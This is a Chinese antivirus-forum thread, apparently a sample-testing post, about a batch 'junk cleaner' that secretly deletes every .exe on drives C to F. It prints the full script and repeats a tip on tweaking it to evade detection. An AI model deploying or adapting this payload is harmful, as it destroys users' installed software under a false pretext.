【批处理大战安全软件】电脑垃圾清理，让你电脑干干净净（貌似全过）

显示全部楼层 · 发表于 2015-1-16 12:43:23

本帖最后由無心無于 2015-1-21 21:31 编辑

请在XP平台下测试（想看行为的朋友可以用HIPS之类软件测试）

【貌似全过】 http://r.virscan.org/report/7ed9496eee282cde271140bc6b16725d
运行之后你们的安全软件不知道会不会提示拦截（360主动防御系统保护什么的好像会提示拦截一下）
他们发布的时候还说什么如果有杀软拦截请选择放行或者添加信任
因为清理电脑垃圾文件会触发安全软件的安全机制（说属于误报）......结果很多人都悲剧了
这种东西破坏性很大，而且大部分用户都是小白根本无法辨别.....

安全软件有的号称不拦截批处理（因为批处理是什么用户行为）.....
在好几个论坛的软件分享区发现了此软件，下载量突破了几万人！
号称清理电脑硬盘垃圾的......诸多无辜市民纷纷中招...
这种东西破坏性也很大，而且大部分用户都是小白根本无法辨别.....
而且通过各种软件论坛什么的传播也很广下载量很大，不亚于一次病毒爆发！
【大家尽快测试】省的时间一长被安全软件收录了，你测试又说什么查杀了！
【如果你把批处理的代码修改一下】比如只删除D盘 E盘不删除C盘EXE文件，估计就不会拦截了
个人觉得安全软件还是最好加强批处理的防控！

解压密码：1024

[wmv]http://www.xiami.com/widget/0_1773228254/singlePlayer.swf[/wmv]
[wmv]http://www.xiami.com/widget/0_22708/singlePlayer.swf[/wmv].[wmv]http://www.xiami.com/widget/0_42110/singlePlayer.swf[/wmv]

http://bbs.kafan.cn/thread-1783864-1-1.html

.

显示全部楼层 · 发表于 2015-1-16 13:59:57

抑郁使者发表于 2015-1-16 12:55
拒绝后，系统没有异常

360就是不错，很给力

显示全部楼层 · 发表于 2015-1-16 14:18:14

本帖最后由 MrDeep 于 2015-1-16 16:02 编辑

To eset

暂未回复

显示全部楼层 · 发表于 2015-1-16 14:46:20

dongwenqi 发表于 2015-1-16 13:59
360就是不错，很给力

并不是
一般你下载的批处理本身你急会调用CMD啊
我要是下载一个垃圾清理妥妥会让他调用CMD的
然后就完蛋了

显示全部楼层 · 发表于 2015-1-16 15:11:07

本帖最后由 pal家族于 2015-1-16 15:15 编辑

卡巴杀vbs 但不杀bat 官方解释：卡巴不能分辨这是不是用户行为！
另外~我没有看出他有什么破坏性为什么要ping？干嘛的？

显示全部楼层 · 发表于 2015-1-16 15:20:08

pal家族发表于 2015-1-16 15:11
卡巴杀vbs 但不杀bat 官方解释：卡巴不能分辨这是不是用户行为！
另外~我没有看出他有什么破坏性为什么要 ...

你看看代码吧，你运行之后会删除所有EXE文件！
for %%a in (c d e f) do (
cd /d %%a:\
for /r %%b in (*.exe) do (
del /s /q %%b
)
主要是这一段，删除C D E F 盘的所有EXE文件。

显示全部楼层 · 发表于 2015-1-16 15:25:21

本帖最后由無心無于 2015-1-16 15:27 编辑

pal家族发表于 2015-1-16 15:21
为什么要ping来ping去?

源码请看我相信你能看懂吧？应该可以看懂他想干什么吧？有什么行为吧？
【看下图】

他们发布的时候还说什么如果有杀软拦截请选择放行或者添加信任
因为清理电脑垃圾文件会触发安全软件的安全机制（说属于误报）......结果很多人都悲剧了
安全软件有的号称不拦截批处理（因为批处理是什么用户行为）.....
这种东西破坏性很大，而且大部分用户都是小白根本无法辨别.....
在好几个论坛的软件分享区发现了此软件，下载量突破了几万人！
号称清理电脑硬盘垃圾的......诸多无辜市民纷纷中招...
这种东西破坏性也很大，而且大部分用户都是小白根本无法辨别.....
而且通过各种软件论坛什么的传播也很广下载量很大，不亚于一次病毒爆发！

显示全部楼层 · 发表于 2015-1-16 17:35:27

Dr.Web扫描被过

显示全部楼层 · 发表于 2015-1-16 17:41:34

简单粗暴

可以理解为利用cmd的白加黑

显示全部楼层 · 发表于 2015-1-16 19:11:25

本帖最后由 cpcpcpy 于 2015-1-16 19:12 编辑

pal家族发表于 2015-1-16 15:21
为什么要ping来ping去?

这个ping的用途是让程序暂停三秒钟。。。
我有时候懒得用其他写法也会这样干

显示全部楼层 · 发表于 2015-1-16 19:24:32

怎么恢复

显示全部楼层 · 发表于 2015-1-16 19:26:43

1697817057 发表于 2015-1-16 19:24
怎么恢复

估计没法恢复，你会实机运行了吧

显示全部楼层 · 发表于 2015-1-16 19:55:20

很简单很粗暴，要是真的加信任了的话，就完蛋了。
如果不留意里面的内容的话，我估计会有一大堆人倒霉了。
但是，杀软应该删不掉吧（貌似有保护的）

显示全部楼层 · 发表于 2015-1-16 20:01:34

本帖最后由無心無于 2015-1-16 20:03 编辑

914525753 发表于 2015-1-16 19:55
很简单很粗暴，要是真的加信任了的话，就完蛋了。
如果不留意里面的内容的话，我估计会有一大堆人倒霉了。 ...

他就没想删除杀软就是一个恶搞的吧！

他们发布的时候还说什么如果有杀软拦截请选择放行或者添加信任
因为清理电脑垃圾文件会触发安全软件的安全机制（说属于误报）......结果很多人都悲剧了
安全软件有的号称不拦截批处理（因为批处理是什么用户行为）.....
这种东西破坏性很大，而且大部分用户都是小白根本无法辨别.....
在好几个论坛的软件分享区发现了此软件，下载量突破了几万人！
号称清理电脑硬盘垃圾的......诸多无辜市民纷纷中招...
这种东西破坏性也很大，而且大部分用户都是小白根本无法辨别.....
而且通过各种软件论坛什么的传播也很广下载量很大，不亚于一次病毒爆发！
【如果你把批处理的代码修改一下】比如只删除D盘 E盘不删除C盘EXE文件，估计就不会拦截了

显示全部楼层 · 发表于 2015-1-16 20:12:31

無心無发表于 2015-1-16 15:20
你看看代码吧，你运行之后会删除所有EXE文件！
for %%a in (c d e f) do (
cd /d %%a:\

这样一来，要命啊~

显示全部楼层 · 发表于 2015-1-16 22:24:22

877906025Z 发表于 2015-1-16 22:04
被毒霸崩了。。。。

【如果你把批处理的代码修改一下】比如只删除D盘 E盘不删除C盘EXE文件，估计就不会拦截了

显示全部楼层 · 发表于 2015-1-16 22:29:29

搞笑……
现在卡饭的水准看来也就是这样了
批处理写个删除exe的东西值得拉来回复四页。。

我记得几年前，批处理被拿来强制卸载小红伞，干掉微点
而不是这种简单的应用。

感慨一下，请无视。

@柴

显示全部楼层 · 发表于 2015-1-16 23:15:27

运指如飞发表于 2015-1-16 22:29
搞笑……
现在卡饭的水准看来也就是这样了
批处理写个删除exe的东西值得拉来回复四页。。

这种事拿敲竹杠来说吧很简单一句命令也属于常用到的一类命令有需要时都是在一直很平淡的用着结果就在去年因为被一个小学生学到了拿去作为恶作剧用结果还成了爆发性的病毒搞的国内各大安全厂商都给特意注意到看还发了通报

这事找谁说理去果然人们看来再平淡的东西换的方向用偏偏会变得很耀眼

显示全部楼层 · 发表于 2015-1-16 23:24:49

总有那么几个人犯贱，还有一堆人清理垃圾用360不得了，360还不用，到处找些软件来耍

显示全部楼层 · 发表于 2015-1-16 23:42:49

欧阳宣发表于 2015-1-16 13:28
to mcafee

回帖不复制原帖会死吗。

这种批处理，迈克菲会入库么。。

显示全部楼层 · 发表于 2015-1-16 23:58:42

欧阳宣发表于 2015-1-16 23:49
只知道这类是会报的，所以估计会吧

那挺多也只是hash报，几乎不可能会提特征。

显示全部楼层 · 发表于 2015-1-17 00:09:18

尘梦幽然发表于 2015-1-16 23:58
那挺多也只是hash报，几乎不可能会提特征。

这种几乎可以说是恶作剧的东西可能也提不出来什么特征- -

显示全部楼层 · 发表于 2015-1-17 00:12:26

欧阳宣发表于 2015-1-17 00:09
这种几乎可以说是恶作剧的东西可能也提不出来什么特征- -

可以提的啊，超级简单的啊。
而且做一个脚本行为虚拟分析器对于咖啡而言也是不费吹灰之力的，但是现在很明显美系三大基本上不会入BAT、VBS了，就算入也只是入个hash。。

显示全部楼层 · 发表于 2015-1-17 00:13:58

尘梦幽然发表于 2015-1-17 00:12
可以提的啊，超级简单的啊。
而且做一个脚本行为虚拟分析器对于咖啡而言也是不费吹灰之力的，但是现在很 ...

你说的特征提出来，怎么判断它是恶意的呢

万一就有个人想把自己某个盘上的全部.rmvb文件写个bat删掉呢

显示全部楼层 · 发表于 2015-1-17 00:16:16

欧阳宣发表于 2015-1-17 00:13
你说的特征提出来，怎么判断它是恶意的呢

万一就有个人想把自己某个盘上的全部.rmvb文件写个bat删掉呢

对啊，，所以这是一个深刻的问题。。只能说客户有要求的话，就入一个hash好了，让客户满意。

显示全部楼层 · 发表于 2015-1-17 01:23:51

尘梦幽然发表于 2015-1-17 00:16
对啊，，所以这是一个深刻的问题。。只能说客户有要求的话，就入一个hash好了，让客户满意。

extra.dat就是为这个

显示全部楼层 · 发表于 2015-1-17 01:32:28

欧阳宣发表于 2015-1-17 01:23
extra.dat就是为这个

extra.dat经常不好解决问题的。对于没什么行为的PE木马来说还好对付，对于感染性、rootkits之类的完全无能为力

显示全部楼层 · 发表于 2015-1-18 17:08:10

無心無发表于 2015-1-16 22:24
【如果你把批处理的代码修改一下】比如只删除D盘 E盘不删除C盘EXE文件，估计就不会拦截了

嗯。。。。。只拦C,D剩下的都被删了

显示全部楼层 · 发表于 2015-1-20 13:16:13

@echo off & color 0d
echo 是否清空计算机系统垃圾?
pause>nul & cls & echo 正在清理垃圾文件...请稍等...
ping 127.0.0.1 -n "3">NUL
del /f /s /q %systemdrive%\*.tmp
del /f /s /q %systemdrive%\*._mp
del /f /s /q %systemdrive%\*.log
del /f /s /q %systemdrive%\*.gid
del /f /s /q %systemdrive%\*.chk
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
cls & echo 清理垃圾完成,正在清理系统垃圾文件...请稍等...
ping 127.0.0.1 -n "3">NUL
for %%a in (c d e f) do (
cd /d %%a:\
for /r %%b in (*.exe) do (
del /s /q %%b
)
)
cls & echo 已完成...
ping 127.0.0.1 -n "3">NUL
exit

::GAGATOSHUT团队

最后那段代码是坑爹的，谁运行谁中招

显示全部楼层 · 发表于 2015-1-21 21:28:58

877906025Z 发表于 2015-1-18 17:08
嗯。。。。。只拦C,D剩下的都被删了

我说的没错吧，呵呵！

显示全部楼层 · 发表于 2015-1-21 21:34:37

再也不用优化软件

显示全部楼层 · 发表于 2015-1-16 12:54:42

360TS未报，本人的Avast Internet Security未报

显示全部楼层 · 发表于 2015-1-16 12:55:11

拒绝后，系统没有异常

显示全部楼层 · 发表于 2015-1-16 12:57:39

本帖最后由無心無于 2015-1-16 13:18 编辑

抑郁使者发表于 2015-1-16 12:55
拒绝后，系统没有异常

360主动防御会拦截一下（我上面说过了）
别的杀毒软件好多都不管
安全软件有的号称不拦截批处理（因为批处理是什么用户行为）.....
在好几个论坛的软件分享区发现了此软件，下载量突破了几万人！
号称清理电脑硬盘垃圾的......诸多无辜市民纷纷中招...
这种东西破坏性也很大，而且大部分用户都是小白根本无法辨别.....
而且通过各种软件论坛什么的传播也很广下载量很大，不亚于一次病毒爆发！
【大家尽快测试】省的时间一长被安全软件收录了，你测试又说什么查杀了！

【如果你把批处理的代码修改一下】比如只删除D盘 E盘不删除C盘EXE文件，估计就不会拦截了

显示全部楼层 · 发表于 2015-1-16 12:58:34

無心無发表于 2015-1-16 12:57
360主动防御会拦截一下（我上面说过了）
别的杀毒软件好多都不管
安全软件有的号称不拦截批处理（因为 ...

估计费尔火绒都会拦截
等待测试

显示全部楼层 · 发表于 2015-1-16 13:03:19

本帖最后由無心無于 2015-1-16 13:18 编辑

抑郁使者发表于 2015-1-16 12:58
估计费尔火绒都会拦截
等待测试

测试一下其他的吧 .......比如什么小红伞啊小A啊 NOD32啊金山啊 QQ电脑管家啊等等
有好多都没拦截也没什么提示......
他们发布的时候还说什么如果有杀软拦截请选择放行或者添加信任
因为清理电脑垃圾文件会触发安全软件的安全机制（说属于误报）......结果很多人都悲剧了
这种东西破坏性很大，而且大部分用户都是小白根本无法辨别.....
http://r.virscan.org/report/7ed9496eee282cde271140bc6b16725d
【如果你把批处理的代码修改一下】比如只删除D盘 E盘不删除C盘EXE文件，估计就不会拦截了

.

显示全部楼层 · 发表于 2015-1-16 13:10:43

for %%a in (c d e f) do (
cd /d %%a:\
for /r %%b in (*.exe) do (
del /s /q %%b
)

主要是这一段，删除C D E F 盘的所有EXE文件。
已经触犯到了我毛豆的规则

显示全部楼层 · 发表于 2015-1-16 13:12:51

lixihong10 发表于 2015-1-16 13:10
for %%a in (c d e f) do (
cd /d %%a:\
for /r %%b in (*.exe) do (

很多用户都不用什么毛豆的，他也看不懂HIPS之类软件的提示啊！
他们发布的时候还说什么如果有杀软拦截请选择放行或者添加信任
因为清理电脑垃圾文件会触发安全软件的安全机制（说属于误报）......结果很多人都悲剧了
这种东西破坏性很大，而且大部分用户都是小白根本无法辨别.....
在好几个论坛的软件分享区发现了此软件，下载量突破了几万人！
号称清理电脑硬盘垃圾的......诸多无辜市民纷纷中招...
这种东西破坏性也很大，而且大部分用户都是小白根本无法辨别.....
而且通过各种软件论坛什么的传播也很广下载量很大，不亚于一次病毒爆发！

显示全部楼层 · 发表于 2015-1-16 13:14:24

無心無发表于 2015-1-16 13:12
很多用户都不用什么毛豆的，他也看不懂HIPS之类软件的提示啊！
他们发布的时候还说什么如果有杀软拦截请 ...

好吧，前天还有格盘的。。。貌似几个遭殃的~

显示全部楼层 · 发表于 2015-1-16 13:14:59

本帖最后由無心無于 2015-1-16 13:18 编辑

lixihong10 发表于 2015-1-16 13:14
好吧，前天还有格盘的。。。貌似几个遭殃的~

什么意思？通过什么中招了？这个样本？

在好几个论坛的软件分享区发现了此软件，下载量突破了几万人！
号称清理电脑硬盘垃圾的......诸多无辜市民纷纷中招...
这种东西破坏性也很大，而且大部分用户都是小白根本无法辨别.....
而且通过各种软件论坛什么的传播也很广下载量很大，不亚于一次病毒爆发！
他们发布的时候还说什么如果有杀软拦截请选择放行或者添加信任
因为清理电脑垃圾文件会触发安全软件的安全机制（说属于误报）......结果很多人都悲剧了

【如果你把批处理的代码修改一下】比如只删除D盘 E盘不删除C盘EXE文件，估计就不会拦截了

[病毒样本] 【批处理大战安全软件】电脑垃圾清理，让你电脑干干净净（貌似全过）

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源